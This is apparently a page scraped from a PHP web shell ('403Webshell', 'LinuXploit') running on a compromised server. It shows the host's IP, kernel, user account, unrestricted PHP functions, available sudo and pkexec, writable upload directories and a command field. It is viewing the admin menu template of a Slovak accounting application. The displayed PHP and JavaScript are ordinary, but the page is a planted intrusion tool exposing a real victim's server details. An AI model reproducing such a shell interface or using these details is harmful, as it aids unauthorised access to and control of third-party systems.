403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/admin/left-menu.php
<?php
$user = \app\classes\AdminUser::getLoggedUser();
$t = app\classes\Translator::getInstance();
?>
<div class="nav-side-menu">    

    <div class="brand">
        <strong>
            <i class="glyphicon glyphicon-user"></i> <b><?php echo $user->_get("first_name") . " " . $user->_get("last_name"); ?></b>
        </strong>
        <i onclick="toggleMenuVisibility(true)" id="menu-toggle-button" data-toggle="tooltip" data-placement="left" title="skryť/zobraziť menu" style="float: right; top: 15px; font-size: 25px; cursor: pointer" class="glyphicon glyphicon-menu-left hidden-xs"></i>
        <div style="display: block; padding: 5px; border-radius: 0px;" class="label text-uppercase label-<?php echo app\constants\UserType::getLabelClass($user->_get("type")); ?>"><?php echo $t->_get(app\constants\UserType::getStateMessage($user->_get("type"))); ?></div>
    </div>

    <i class="glyphicon glyphicon-menu-hamburger toggle-btn" data-toggle="collapse" data-target="#menu-content"></i>
    <div class="menu-list">
        <ul id="menu-content" class="menu-content collapse out">
            <a href="/admin/dashboard/">
                <li>
                    <i class="glyphicon glyphicon-dashboard"></i> Dashboard
                </li>
            </a>

            <?php
            $modules = app\classes\AdminModules::getInstance();
            $modules->renderLeftMenu();
            ?>

            <li onclick="logout();" class="logout">
                <a>
                    <i class="glyphicon glyphicon-off"></i> Odhlásiť sa
                </a>
            </li>
        </ul>
    </div>

    <?php
    $t = \app\classes\Translator::getInstance();
    $supportContact = $t->_get("VAR_SUPPORT_CONTACT");
    if ($supportContact !== "VAR_SUPPORT_CONTACT" && strlen(trim($supportContact)) > 10) {
        ?>
        <div class="text-center" style="padding: 15px;">    
            <div style="display: block; color: #aaa;">
                <i class="fa fa-life-ring" style="font-size: 36px; margin-bottom: 10px;"></i>
            </div>
            <div style="color: #aaa;">
                Ak ste našli chybu alebo máte nejaký iný problém, kontaktuje:
            </div>
            <?php echo toHtml($supportContact); ?>               
            <style>
                .nav-side-menu a.contact-link:hover{
                    text-decoration: underline !important;
                }
            </style>
        </div>
    <?php } ?>  

</div>

<script>
    function isMobileMenuViewport() {
        return window.matchMedia('(max-width: 767px)').matches;
    }

    function resetMenuInlineStylesForMobile() {
        $(".nav-side-menu").css({'margin-left': ''});
        $(".main-container").css({'padding-left': ''});
    }

    function applyDesktopMenuVisibility(collapsed) {
        var button = $("#menu-toggle-button");
        var menu = $(".nav-side-menu");
        var container = $(".main-container");
        if (collapsed) {
            menu.css({'margin-left': '-275px'});
            container.css({'padding-left': '40px'});
            button.removeClass("glyphicon-menu-left").addClass("glyphicon-menu-right");
        } else {
            menu.css({'margin-left': '0px'});
            container.css({'padding-left': '315px'});
            button.removeClass("glyphicon-menu-right").addClass("glyphicon-menu-left");
        }
    }

    function toggleMenuVisibility(save) {
        if (isMobileMenuViewport()) {
            resetMenuInlineStylesForMobile();
            return;
        }

        var button = $("#menu-toggle-button");
        var collapsing = !button.hasClass("glyphicon-menu-right");
        applyDesktopMenuVisibility(collapsing);

        if (save === true) {
            $.ajax({url: "/admin/api/loggedUsers/toggleMenuVisibility/"});
        }
    }

    function syncMenuVisibilityForViewport() {
        if (isMobileMenuViewport()) {
            resetMenuInlineStylesForMobile();
            return;
        }

        var shouldHide = <?php echo (isset($_COOKIE["admin_hide_menu"]) && $_COOKIE["admin_hide_menu"] == true) ? 'true' : 'false'; ?>;
        var button = $("#menu-toggle-button");
        if (shouldHide || button.hasClass("glyphicon-menu-right")) {
            applyDesktopMenuVisibility(true);
        } else {
            applyDesktopMenuVisibility(false);
        }
    }

<?php
if (isset($_COOKIE["admin_hide_menu"]) && $_COOKIE["admin_hide_menu"] == true) {
    ?>
        $(document).ready(function () {
            if (!isMobileMenuViewport()) {
                toggleMenuVisibility();
            } else {
                resetMenuInlineStylesForMobile();
            }
        });
    <?php
}
?>
    $(window).on('resize', function () {
        syncMenuVisibilityForViewport();
    });
</script>
<style>
    .nav-side-menu, .main-container{
        /*transition: 0.65s;*/
    }
</style>

Youez - 2016 - github.com/yon3zu
LinuXploit